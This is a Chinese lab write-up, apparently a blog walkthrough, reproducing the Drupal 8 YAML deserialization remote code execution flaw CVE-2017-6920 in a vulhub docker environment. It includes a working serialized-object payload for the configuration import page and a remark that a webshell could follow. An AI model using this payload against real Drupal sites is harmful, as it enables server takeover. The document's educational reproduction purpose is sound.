[ vulhub漏洞复现篇 ] Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)
创始人
2024-05-26 03:52:54

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2017-6920环境
    • 2、启动CVE-2017-6920环境
    • 3、查看CVE-2017-6920环境
    • 4、安装yaml拓展
    • 5、访问CVE-2017-6920环境
    • 6、查看CVE-2017-6920漏洞提示信息
    • 7、关闭CVE-2017-6920环境
  • 五、漏洞复现
    • 1、访问漏洞点
    • 2、导入POC
    • 3、复现成功
  • 六、漏洞修复
  • 七、相关资源

一、漏洞编号

CVE-2017-6920

二、影响范围

Drupal < 8.3.4

三、漏洞描述

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。CVE-2017- 6920 是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。

四、环境搭建

1、进入CVE-2017-6920环境

cd vulhub/confluence/CVE-2017-6920

在这里插入图片描述

2、启动CVE-2017-6920环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2017-6920环境

docker-compose ps

在这里插入图片描述

4、安装yaml拓展

1.查看容器信息

docker ps

在这里插入图片描述

2.进入容器

docker exec -it 容器ID /bin/bash

在这里插入图片描述

3.换镜像源
默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源

cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF

在这里插入图片描述

4.安装依赖

apt update 

在这里插入图片描述

apt-get -y install gcc make autoconf libc-dev pkg-config 

在这里插入图片描述

apt-get -y install libyaml-dev

在这里插入图片描述

  1. 安装yaml扩展
pecl install yaml

在这里插入图片描述

pecl install yaml docker-php-ext-enable yaml.so 

在这里插入图片描述

6.启用 yaml.decode_php

echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini

在这里插入图片描述

7.退出容器

exit

在这里插入图片描述

8.重启容器

docker restart 容器ID

在这里插入图片描述

5、访问CVE-2017-6920环境

环境启动后,访问http://your-ip:8080,将会看到drupal的安装页面,一路默认配置下一步安装。
因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
中文装不了就装英文

在这里插入图片描述

一直默认安装就行,然后数据库配置这一块儿选择SQLite

在这里插入图片描述

然后就会自动安装srupal

在这里插入图片描述

设置站点名称,登陆账号密码啥的
站点名称我就设置为powershell
邮箱随便设置,我设置了123@qq.com
账号我就设置为root,密码我就设置为123456了

在这里插入图片描述

更新配置中

在这里插入图片描述

自动登录进入了网站

在这里插入图片描述

6、查看CVE-2017-6920漏洞提示信息

cat README.md

在这里插入图片描述

7、关闭CVE-2017-6920环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、访问漏洞点

登录管理员账户,访问

http://your-ip:8080/admin/config/development/configuration/single/import

界面如下:

在这里插入图片描述

2、导入POC

如下图所示,配置类型选择 简单配置,配置名称任意填写,文本处中填写PoC如下:

!php/object"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

在这里插入图片描述

点击导入,漏洞触发:

在这里插入图片描述

3、复现成功

回显出phpinfo信息

在这里插入图片描述

既然能执行命令,那我们也可以写入webshell

六、漏洞修复

升级Drupal为最新版本

七、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)

相关内容

热门资讯

把老百姓关切的事一件一件办好 转自:贵州日报 为有效缩短患者平均等候时间,显著改善就诊秩序,贵州省人民医院在全院推行规范化门诊预约...
扎实推进招标投标系统整治走深走... 转自:贵州日报 叶文学贵阳市纪委监委聚焦招标投标领域围标串标、权力寻租、监管缺位等突出问题,结合招标...
整治“黑飞” 护低空安全 转自:贵州日报 本报讯(记者 胡玉山)7月24日,安顺市公安局、市交通运输局、市农业机械服务中心联合...
天上地面全方位巡防 转自:贵州日报 本报讯(记者 朱迪)7月31日10时,贵阳市花溪区十字街的人流逐渐密集。一阵嗡鸣中,...
瓮安 顺利实现“双过半” 转自:贵州日报 本报讯(记者 卢泰铭)7月30日,记者从黔南州瓮安县半年经济工作会议暨“六大提升行动...